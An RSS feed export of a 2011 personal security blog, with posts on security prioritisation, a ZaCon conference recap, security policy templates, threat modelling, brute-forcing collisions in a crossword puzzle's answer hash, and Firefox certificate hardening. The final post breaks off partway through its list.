presented and sexy. Barnaby Jack had an ATM spitting out cash and 
flashing &amp;quot;Jackpot&amp;quot;, that&#039;s cool, and it gets a room packed full of 
people to hear his talk. Hopefully it lead to an improvement in security
 of some of the ATMs he targeted, but the vulns he exploited were the 
kinds of things big banks had mostly resolved already, and how many 
people in the audience actually worked in ATM security? I&#039;d be 
interested to see if the con budget from banks increased the year of his
 talk, even if they didn&#039;t, I suspect many a banker went to his talk 
instead of one that was maybe talking about a more prevalent or relevant
 class of vulnerabilities their organisation may experience. Something 
Thinkst says much better &lt;a href=&quot;http://blog.thinkst.com/2011/01/is-answer-more-infosec-conferences.html&quot;&gt;here&lt;/a&gt;.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Individual Experience&lt;/strong&gt; 
&lt;p&gt;Unfortunately, as human beings, our decisions are coloured by a bunch
 of things, which cause us to make decisions either influenced or 
defined by factors other than the reality we are faced with. A couple of
 those lead us to prioritising different security motives if decision 
making rests solely with one person:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;Past Experience&lt;/strong&gt;. Human beings develop through 
learning and consequences. When you were a child and put your hand on a 
stove hot plate, you got burned and didn&#039;t do it again. It&#039;s much the 
same every time you get burned by a security incident, or worse, 
internal political incident. There&#039;s nothing wrong with this, and it&#039;s 
why we value experience; people who&#039;ve been burned enough times not to 
let mistakes happen again. However, it does mean time may be spent 
preventing a past wrong, rather than focusing on the most likely current
 wrong. For example, one company I worked with insisted on an overly 
burdensome set of controls to be placed between servers belonging to 
their security team and the rest of the company network. The reason for 
this was due to a previous incident years earlier, where one of these 
servers had been the source of a Slammer outbreak. While that network 
was never again a source of a virus outbreak, their network still got 
hit by future outbreaks from normal users, via the VPN, from business 
partners etc. In this instance, past experience was favoured over a 
comprehensive approach to the actual problem, not just the symptom.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;New Systems&lt;/strong&gt;. Usually, the time when the most 
budget is available to work on a system is during its initial 
deployment. This is equally true of security, and the mantra is for 
security to be built in at the beginning. Justifying a chunk of security
 work on the mainframe that&#039;s been working fine for the last 10 years on
 the other hand is much harder, and usually needs to hook into an 
existing project. The result is that it&#039;s easier to get security built 
into new projects than to force an organisation to make significant 
“security only” changes to existing systems. The result in those that 
present the vulnerabilities pentesters know and love get less frequently
 fixed.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Individual Motives&lt;/strong&gt;. We&#039;re complex beings with all 
sorts of drivers and motivations, maybe you want to get home early to 
spend some time with your kids, maybe you want to impress Bob from 
Payroll. All sorts of things can lead to a decision that isn&#039;t 
necessarily the right security one. More relevantly however, security 
tends to operate in a fairly segmented matter, while some aspects are 
“common wisdom”, others seem rarely discussed. For example, the way the 
CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up 
their controls and choose their focus could be completely different, but
 beyond general industry chit-chat, there will be little detailed 
discussion of how they&#039;re securing integration to their dealership 
network. They rely on consultants, who&#039;ve seen both sides for that. Even
 then, one consultant may think that monitoring is the most important 
control at the moment, while another could think mobile security is it.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;So What?&lt;/strong&gt; 
&lt;p&gt;The result of all of this is that different companies and people push
 vastly different agendas. To figure out a strategic approach to 
security in your organisation, you need some objective risk based 
measurement that will help you secure stuff in an order that mirrors the
 actual risk to your environment. While it&#039;s still a black art, I 
believe that Threat Modelling helps a lot here, a sufficiently 
comprehensive methodology that takes into account all of your 
infrastructure (or at least admits the existence of risk contributed by 
systems outside of a “most critical” list) and includes valid 
perspectives from above tries to provide an objective version of reality
 that isn&#039;t as vulnerable to the single biases described above.&lt;/p&gt; 
&lt;/div&gt; 
    </content:encoded>

    <pubDate>Tue, 01 Nov 2011 19:17:28 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1039-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>ZaCon III - TBOY</title>
    <link>http://www.singe.za.net/blog/archives/1036-ZaCon-III-TBOY.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1036-ZaCon-III-TBOY.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1036</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1036</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;h2&gt;TBOY - The Best One Yet&lt;/h2&gt; 
&lt;p&gt;ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.&lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;&amp;quot;It looks a bit eclectic&amp;quot; &lt;br /&gt;&lt;/h2&gt; 
&lt;p&gt;Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as &amp;quot;what I always imagined ZaCon should be&amp;quot; which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.&lt;/p&gt; &lt;h2&gt;Coffee was Flowing, Hangovers were Showing &lt;br /&gt;&lt;/h2&gt; 
&lt;p&gt;Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, 
but by the first tea break we had a duct taped alternative projector 
stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks 
started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt &amp;amp; Prince Sihlahla. Our local site &lt;a href=&quot;http://local.zacon.org.za&quot;&gt;(local.zacon.org.za,&lt;/a&gt; up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.&lt;/p&gt; 
&lt;p&gt;My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The &amp;quot;can I go to jail if&amp;quot; talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we&#039;re thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.&lt;/p&gt; 
&lt;p&gt;We&#039;ll be collecting slides, &lt;a href=&quot;http://www.discussit.co.za/&quot;&gt;DiscussIT&lt;/a&gt; will be publishing audio, and some time later we&#039;ll try get the videos out. &lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;ZaCon IV&lt;/h2&gt; 
&lt;p&gt;We&#039;ve got pages of things to improve on for next year, and hopefully we&#039;ll be able to retain the TBOY label. In the meantime, it&#039;s never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the &lt;a href=&quot;mailto:community@zacon.org.za&quot;&gt;community@zacon.org.za&lt;/a&gt; mailing list or join the #zacon chan on irc.atrum.org.&lt;/p&gt; 
&lt;h2&gt; Thanks&lt;/h2&gt; 
&lt;p&gt;So many people did so many things, here&#039;s a brief list of people who need thanking in no particular order&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;The speakers - without you guys there&#039;s no con&lt;/li&gt; 
&lt;li&gt;People@ - you know who you are&lt;/li&gt; 
&lt;li&gt;The volunteers&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;Local site - Ralfe&lt;/li&gt; 
&lt;li&gt;Internets - Peter, Prince&lt;/li&gt; 
&lt;li&gt;Registration - Tim, Ross&lt;/li&gt; 
&lt;li&gt;Badges - Andrew&lt;/li&gt; 
&lt;li&gt;Venue - Sagi &amp;lt;-- Big shouts to this guy, who did some some hard work&lt;/li&gt; 
&lt;li&gt;Audio &amp;amp; Video - Tony and Jameel&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;Attendees - presenting to an empty room wouldn&#039;t be as much fun&lt;/li&gt; 
&lt;li&gt;University of Johannesburg - for hosting us&lt;/li&gt; 
&lt;li&gt;Cafe Pronto - for the coffee&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Mon, 10 Oct 2011 09:20:15 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1036-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Security Policies - Go Away</title>
    <link>http://www.singe.za.net/blog/archives/1035-Security-Policies-Go-Away.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1035-Security-Policies-Go-Away.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1035</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1035</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This is re-published, from &lt;a href=&quot;http://www.sensepost.com/blog/5953.html&quot;&gt;the original&lt;/a&gt; on the SensePost blog.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;Security policies are necessary, but their focus is to the detriment of 
more important security tasks. If auditors had looked for trivial SQL 
injection on a companies front-page as hard as they have checked for 
security polices, then maybe our industry would be in a better place. I 
want to make this go away, I want to help you tick the box so you can 
focus on the real work. If you just want the &amp;quot;tool&amp;quot; skip to the end.

&lt;/p&gt; &lt;p&gt;A year and a half ago, SensePost started offering &amp;quot;build it&amp;quot; rather 
than &amp;quot;break it&amp;quot; consulting services, we wanted to focus on technical, 
high-quality advisory work. However, by far the most frequently 
&amp;quot;consulting&amp;quot; request we&#039;ve seen has been asking for security policies. 
Either a company approaches us looking for them explicitly or they want 
them bolted on to other work. The gut feel I&#039;ve picked up over the years
 is that if someone is asking you to develop security policies for them,
 then either they&#039;re starting on security at the behest of some external
 or compliance requirement or they&#039;re hoping that this is the first step
 in an information security program. (Obviously, I can&#039;t put everything 
into the same bucket, but I&#039;m talking generally) Both are rational 
reasons to want to get your information security policies sorted, but 
getting outside consultants to spend even a week&#039;s worth of time 
developing them for you, is time that could be better spent in my 
opinion. My reasons for this are two-fold:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;If you&#039;re starting a security program, then you have a lot to learn
 and possibly a lot of convincing of senior management to do. Something 
like an internal penetration test (not that I&#039;m advocating this 
specifically instead of policy) will give you far more insight into the 
security of your environment and a lot more &amp;quot;red ink&amp;quot; that can be used 
to highlight the risk to the &amp;quot;higher ups&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Security policies don&#039;t &amp;quot;do&amp;quot; anything. They are a representation of
 management&#039;s intention and agreements around security controls, which 
in the best case, provide a &amp;quot;cover my ass&amp;quot; defense if an employee takes 
you to task for intercepting their e-mails or something similar. The 
policies need to be used to derive actual controls, and are not controls
 in themselves.&lt;/li&gt; 
&lt;/ul&gt;
Instead, we too often end up in a world where &lt;strong&gt;security policies&lt;/strong&gt;,
 rather than good security, is the end goal while new technologies keep 
us amused developing new ones (mobile policies, social media policies, 
data leakage policies etc.) 



&lt;p&gt;Saying all of this is fine, but it doesn&#039;t make the auditors stop 
asking, and it doesn&#039;t put a green box or tick in the 
ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I&#039;ve pointed 
people at existing policy repositories, where sample policies can be 
downloaded and modified to suit their need. Sites such as &lt;a href=&quot;http://www.csoonline.com/article/486324/security-tools-templates-policies&quot;&gt;CSOOnline&lt;/a&gt; or &lt;a href=&quot;http://www.packetsource.com/categories/security-policies/sample-policies/&quot;&gt;PacketSource&lt;/a&gt; have links to some policies, but by far the most comprehensive source of free security policy templates is &lt;a href=&quot;http://www.sans.org/security-resources/policies/&quot;&gt;SANS&lt;/a&gt;.
 The problem is people seem to look at these, think it looks like work, 
and move on to a consultancy that&#039;s happy to charge for a month&#039;s worth 
of time. Even when you don&#039;t, the policies are buried in sub-pages that 
don&#039;t always make sense (for example, why is the Acceptable Use Policy 
put under &amp;quot;computer security&amp;quot;), even then several of them are only 
available in PDF form (hence not editable), even though they are 
explicitly written as modifiable templates. What I did was to go through
 all of these pages, download the documents, convert them into relevant 
formats and categorise them into a single view in a spreadsheet with 
hyperlinks to the documents. I&#039;ve also included their guidance documents
 on how to write good sec policies, and ISO 27001-linked policy 
roadmaps. I haven&#039;t modified any of the actual content of the documents,
 and those retain their original copyright. I&#039;m not trying to claim any 
credit for others&#039; hard work, merely make the stuff a little more 
accessible.&lt;/p&gt; 
&lt;p&gt;You can download the index and documents &lt;a href=&quot;http://www.sensepost.com/cms/resources/labs/tools/management/policies.zip&quot;&gt;HERE&lt;/a&gt;.&lt;/p&gt; 
&lt;p&gt;In future, I hope to add more &amp;quot;good&amp;quot; policies (a few of the SANS 
policies aren&#039;t wonderful), and also look into expanding into security 
standards (ala &lt;a href=&quot;http://benchmarks.cisecurity.org/en-us/?route=default&quot;&gt;CIS Security&lt;/a&gt;)
 in the future. If necessary, take this to a consultancy, and ask them 
to spend some time making these specific to your organisation and way of
 doing things, but please, if you aren&#039;t getting the basics right, don&#039;t
 focus on these. In the meantime, if you&#039;re looking for information 
security policies to go away, so you can get on with the bigger problems
 organisations, and our industry in general are facing, then this should
 be a useful tool.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 19 Jul 2011 13:27:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1035-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Threat Modeling vs Information Classification</title>
    <link>http://www.singe.za.net/blog/archives/1034-Threat-Modeling-vs-Information-Classification.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1034-Threat-Modeling-vs-Information-Classification.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1034</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1034</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This was originally posted on the &lt;a href=&quot;http://www.sensepost.com/blog/5873.html&quot;&gt;SensePost blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;/em&gt;Over the last few years there has been a popular meme talking about 
information centric security as a new paradigm over vulnerability 
centric security. I&#039;ve long struggled with the idea of 
information-centricity being successful, and in replying to a post by &lt;a href=&quot;https://logicalsecurity.wordpress.com/2011/06/07/information-class-ed-ification/&quot;&gt;Rob Bainbridge&lt;/a&gt;, quickly jotted some of those problems down.&lt;/p&gt; 
&lt;p&gt;In pre-summary, I&#039;m still sceptical of information-classification 
approaches (or information-led control implementations)&amp;#160; as I feel they 
target a theoretically sensible idea, but not a practically sensible 
one.&lt;/p&gt; Information gets stored in information containers (to borrow a phrase from &lt;a href=&quot;http://www.cert.org/octave/&quot;&gt;Octave&lt;/a&gt;)
 such as the databases or file servers. This will need to inherit a 
classification based on the information it stores. That&#039;s easy if it&#039;s a
 single purpose DB, but what about a SQL cluster (used to reduce 
processor licenses) or even end-user machines? These should be moved up 
the classification chain because they may store some sensitive info, 
even if they spend the majority of the time pushing not-very-sensitive 
info around. In the end, the hoped-for cost-saving-and-focus-inducing 
prioritisation doesn&#039;t occur and you end up having to deploy a 
significantly higher level of security to most systems. Potentially, you
 could radically re-engineer your business to segregate data into 
separate networks such as some PCI de-scoping approaches suggest, but, 
apart from being a difficult job, this tends to counter many of the 
business benefits of data and system integrations that lead to the 
cross-pollination in the first place.

&lt;p&gt;Next up, I feel this fails to take cognisance of what we call 
&amp;quot;pivoting&amp;quot;; the escalation of privileges by moving from one system or 
part of a system to another. I&#039;ve seen situations when the low 
criticality network monitoring box is what ends up handing out the 
domain administrator password. It had never been part of 
internal/external audits scope, none of the vulns showed up on your 
average scanner, it had no sensitive info etc. Rather, I think we need 
to look at physical, network and trust segregation between &lt;strong&gt;systems&lt;/strong&gt;, and then &lt;strong&gt;data&lt;/strong&gt;.
 It would be nice to go data-first, but DRM isn&#039;t mature (read simple 
&amp;amp; widespread) enough to provide us with those controls.&lt;/p&gt; 
&lt;p&gt;Lastly, I feel information-led approaches often end up missing the 
value of raw functionality. For example, a critical trade execution 
system at an investment bank could have very little sensitive data 
stored on it, but the functionality it provides (i.e. being able to 
execute trades using that bank&#039;s secret sauce) is hugely sensitive and 
needs to be considered in any prioritisation.&lt;/p&gt; 
&lt;p&gt;I&#039;m not saying I have the answers, but we&#039;ve spent a lot of time 
thinking about how to model how our analysts attack systems and whether 
we could &amp;quot;guess&amp;quot; the results of multiple pentests across the 
organisation systematically, based on the inherent design of your 
network, systems and authentication.&amp;#160;The idea is to use that model to 
drive prioritisation, or at least a testing plan. This is probably 
closer aligned to the idea of a threat-centric approach to security, and
 suffers from a lack of data in this area (I&#039;ve started some preliminary
 work on incorporating VERIS metrics).&lt;/p&gt; 
&lt;p&gt;In summary, I think information-centric security fails in three ways;
 by providing limited prioritiation due to the high number of shared 
information containers in IT environments, by not incorporating how 
attackers move through a networks and by ignoring business critical 
functionality.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 09 Jun 2011 15:24:50 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1034-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Cracking the ITWeb Security Summit Puzzle</title>
    <link>http://www.singe.za.net/blog/archives/1028-Cracking-the-ITWeb-Security-Summit-Puzzle.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1028-Cracking-the-ITWeb-Security-Summit-Puzzle.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1028</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1028</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    This is a pretty pointless entry talking about the &lt;a href=&quot;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=42677&amp;amp;Itemid=2330&quot;&gt;simple crossword challenge&lt;/a&gt; provided by the &lt;a href=&quot;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=38100&amp;amp;Itemid=2330&quot;&gt;ITWeb Security Summit&lt;/a&gt;. &lt;p&gt;The crossword is trivial, I was able to guess each word on first attempt, except the last long word. Instead of thinking about it, and realising that several others had already done it, I thought I&#039;d have a look at the code.&lt;/p&gt; 
&lt;p&gt;It turns out that the code is somewhat smart and doesn&#039;t reveal the words, rather it uses a custom hashing algorithm and stores the hashes. The two pieces of JavaScript controlling the crossword are&lt;a href=&quot;http://www.itweb.co.za/_1/q1_1.js&quot;&gt; the configuration (questions &amp;amp; answers)&lt;/a&gt; and &lt;a href=&quot;http://www.itweb.co.za/_1/q1_2.js&quot;&gt;the functionality&lt;/a&gt;. There are two interesting pieces of information in these, the first is the hashes of the answers stored in the configuration:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;AnswerHash = new Array(10664, 37493, 27958, 81424, 27548, 67695, 31280);&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;And the second, in the functionality, is the hashing algorithm:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;function HashWord(Word)&lt;br /&gt;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; var x = (Word.charCodeAt(0) * 719) % 1138;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; var Hash = 837;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; var i;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; for (i = 1; i &amp;lt;= Word.length; i++)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Hash = (Hash * i + 5 + (Word.charCodeAt(i - 1) - 64) * x) % 98503;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; return Hash;&lt;br /&gt;}&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;A quick look at the hashing algorithm shows that it probably isn&#039;t reversible (or at least not trivially), primarily due to the modulus operators which aren&#039;t reversible. However, all is not lost, the algorithm is very simple, which means two things. The first is that it will have a ton of collisions (i.e. many words will result in the same hash) and the second is that your processor won&#039;t do much work in running it. Thus, I figured it may be fun to run it across a dictionary and see what collisions pop-up.&lt;/p&gt; 
&lt;p&gt;Since I was playing, I decided to check out whether there were any CLI JavaScript shells that I could use, and the speed at which they run. &lt;a href=&quot;http://stackoverflow.com/questions/1802478/running-v8-javascript-engine-standalone&quot;&gt;A quick google showed me&lt;/a&gt; that &lt;a href=&quot;http://code.google.com/apis/v8/build.html&quot;&gt;Chrome&#039;s V8 JavaScript engine&lt;/a&gt; has a &amp;quot;toy&amp;quot; shell that could be used. I pulled down the trunk, and with the &lt;font face=&quot;courier new,courier,monospace&quot;&gt;sample=shell&lt;/font&gt; option passed to &lt;font face=&quot;courier new,courier,monospace&quot;&gt;scons&lt;/font&gt; had the &lt;font face=&quot;courier new,courier,monospace&quot;&gt;shell&lt;/font&gt; binary built.&lt;/p&gt; 
&lt;p&gt;The V8 shell is pretty cool, and can either be run interactively, used to evaluate JS passed as an argument with the -e switch, or run multiple files. However, input via CLI can&#039;t be passed as an ARGV, and either needs to be in one of the files, or in a -e statement. So I created three files:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;hash.js - Which contained the HashWord function above verbatim, but with a toUpperCase() added to the word passed&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;dict.js - Which contained /usr/share/dict converted into a JS Array object&lt;/li&gt; 
&lt;li&gt;loop.js - Which contained the answer hashes array, and looped through the dict comparing resulting hashes to the answers&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;If you&#039;re interested, the three files can be downloaded from &lt;a href=&quot;/utils/itweb-crossword-brute.zip&quot;&gt;here&lt;/a&gt;. They can be run by passing all three as arguments to shell e.g. ./shell dict.js shell.js loop.js&lt;/p&gt; 
&lt;p&gt;The results were as follows:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;Found! Word: anonymous&amp;#160; Hash: 27958&lt;br /&gt;Found! Word: coseismic&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: cryptanalysis&amp;#160; Hash: 31280&lt;br /&gt;Found! Word: Cupressaceae&amp;#160; Hash: 27548&lt;br /&gt;Found! Word: cystolithic&amp;#160; Hash: 31280&lt;br /&gt;Found! Word: honeypot&amp;#160; Hash: 37493&lt;br /&gt;Found! Word: irrationability&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: miscommit&amp;#160; Hash: 37493&lt;br /&gt;Found! Word: phloroglucic&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: pneumotoxin&amp;#160; Hash: 67695&lt;br /&gt;Found! Word: psychics&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: reeky&amp;#160; Hash: 67695&lt;br /&gt;Found! Word: rhamphoid&amp;#160; Hash: 37493&lt;br /&gt;Found! Word: shuckpen&amp;#160; Hash: 81424&lt;br /&gt;Found! Word: stowbordman&amp;#160; Hash: 81424&lt;br /&gt;Found! Word: unthoughtedly&amp;#160; Hash: 27958&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;Out of interest the result of time() were: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;0.39s user 0.06s system 97% cpu 0.460 total&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;If you&#039;ve checked the crossword, you&#039;ll see some of the answers are listed, you&#039;ll also see that there are several collisions, for example &#039;cryptanalysis&#039; and &#039;cystolithic&#039; both result in 31280, the hash of the final &#039;secret&#039; word. It was fairly obvious that &#039;cryptanalysis&#039; was the final word (apart from being the right length, it&#039;s the only security related term) however, I then tried to see if one of the &#039;incorrect&#039; collisions would work. Unfortunately, there is a length check and so a straight substitution doesn&#039;t work, but &#039;coseismic&#039; in the place of &#039;conficker&#039; is accepted by the crossword as this image shows:&lt;/p&gt;
&lt;p&gt;&lt;!-- s9ymdb:121 --&gt;&lt;img width=&quot;607&quot; height=&quot;256&quot; src=&quot;http://www.singe.za.net/blog/uploads/Screenshot2011-04-08at5.55.44PM.png&quot; class=&quot;serendipity_image_center&quot; alt=&quot;&quot;  /&gt; &lt;/p&gt;
&lt;p&gt;&amp;#160;However, when you try and complete the crossword with the incorrect word, the &#039;s&#039; in &#039;coseismic&#039; conflicts with the &#039;c&#039; in &#039;cryptanalysis&#039; and so you can&#039;t complete the crossword with this combination of words. However, if you don&#039;t limit yourself to english, and rather use random characters, you could eventually find gobbldegook that would complete the crossword. A challenge for someone else perhaps?&lt;/p&gt;
&lt;p&gt;So that&#039;s my hackers attempt at &#039;cracking the code&#039;. Hope to see you at the summit.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 08 Apr 2011 17:18:26 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1028-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Improving Certificate Security in Firefox4</title>
    <link>http://www.singe.za.net/blog/archives/1026-Improving-Certificate-Security-in-Firefox4.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1026-Improving-Certificate-Security-in-Firefox4.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1026</wfw:comment>

    <slash:comments>9</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1026</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;After &lt;a href=&quot;https://blog.torproject.org/blog/detecting-certificate-authority-compromises-and-web-browser-collusion&quot;&gt;Jacob outed the compromise at one of Comodo&#039;s resellers&lt;/a&gt;, I decided to see how I could best secure my browser when it comes to TLS. This is important given how fundamental TLS is to our daily online activities. The advice I currently recommend and have implemented myself in Firefox 4 consists of:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Install HTTPS-Everywhere&lt;/li&gt; 
&lt;li&gt;Reducing the number of trusted root CA certificates to the most frequently used&lt;/li&gt; 
&lt;li&gt;Forcing OCSP revocation checks&lt;/li&gt; 
&lt;li&gt;Monitoring for certificate changes&lt;/li&gt; 
&lt;/ul&gt;This is a brief how-to enable the same in your browser. &lt;br /&gt; &lt;h2&gt;Install HTTPS Everywhere&lt;/h2&gt; 
&lt;p&gt; You need a reason to engage in all this hard work. Install the EFF&#039;s&lt;a href=&quot;https://www.eff.org/https-everywhere&quot;&gt; HTTPS-Everywhere&lt;/a&gt; add-on which will automatically redirect you to encrypted version of many popular websites. Blanket rules for doing this tend to break things, and the EFF has put some good work into making this usable. Everyone should have it installed.&lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;Reducing the Trusted Roots&lt;/h2&gt; 
&lt;p&gt;&lt;a title=&quot;Qualys SSL Labs&quot; href=&quot;https://www.ssllabs.com/&quot;&gt;Qualys SSL labs&lt;/a&gt;, and the &lt;a title=&quot;EFF SSL Observatory&quot; href=&quot;https://www.eff.org/observatory&quot;&gt;EFF SSL Observatory&lt;/a&gt; both have data sets which identify the top root certificates in use across the internet. The interesting finding their research highlights is that the top 10 root certificates (note, some CAs have multiple root certificates) account for over 90% of the Internet. This means we can safely cut his number down from the nearly 200 currently in Firefox to 24. I&#039;ll be publishing a more detailed analysis on &lt;a title=&quot;SensePost Information Security&quot; href=&quot;https://www.sensepost.com/blog/&quot;&gt;SensePost&#039;s blog&lt;/a&gt;, but in the meantime, the 24 most commonly used I went for (which accounts for approximately 98% of all certificates is use) are:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;AddTrust External CA Root&lt;/li&gt; 
&lt;li&gt;COMODO Certificate Authority&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;AAA Certifice Services&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;DigiCert High Assurance EV Root CA&lt;/li&gt; 
&lt;li&gt;Entrust.net Secure Server Certification Authority&lt;/li&gt; 
&lt;li&gt;Entrust.net Certification Authority (2048)&lt;/li&gt; 
&lt;li&gt;Equifax Secure CA&lt;/li&gt; 
&lt;li&gt;Equifax Secure Global eBusiness CA-1&lt;/li&gt; 
&lt;li&gt;GeoTrust Global CA&lt;/li&gt; 
&lt;li&gt;GlobalSign Root CA&lt;/li&gt; 
&lt;li&gt;GTE CyberTrust Global Root&lt;/li&gt; 
&lt;li&gt;Network Solutions Certificate Authority&lt;/li&gt; 
&lt;li&gt;SecureTrust CA&lt;/li&gt; 
&lt;li&gt;StarField Class 2 CA&lt;/li&gt; 
&lt;li&gt;StartCom Certification Authority&lt;/li&gt; 
&lt;li&gt;Thawte Server CA&lt;/li&gt; 
&lt;li&gt;Thawte Premium Server CA&lt;/li&gt; 
&lt;li&gt;thawte Primary Root CA&lt;/li&gt; 
&lt;li&gt;Go Daddy Class 2 CA&lt;/li&gt; 
&lt;li&gt;UTN-UserFirst-Hardware&lt;/li&gt; 
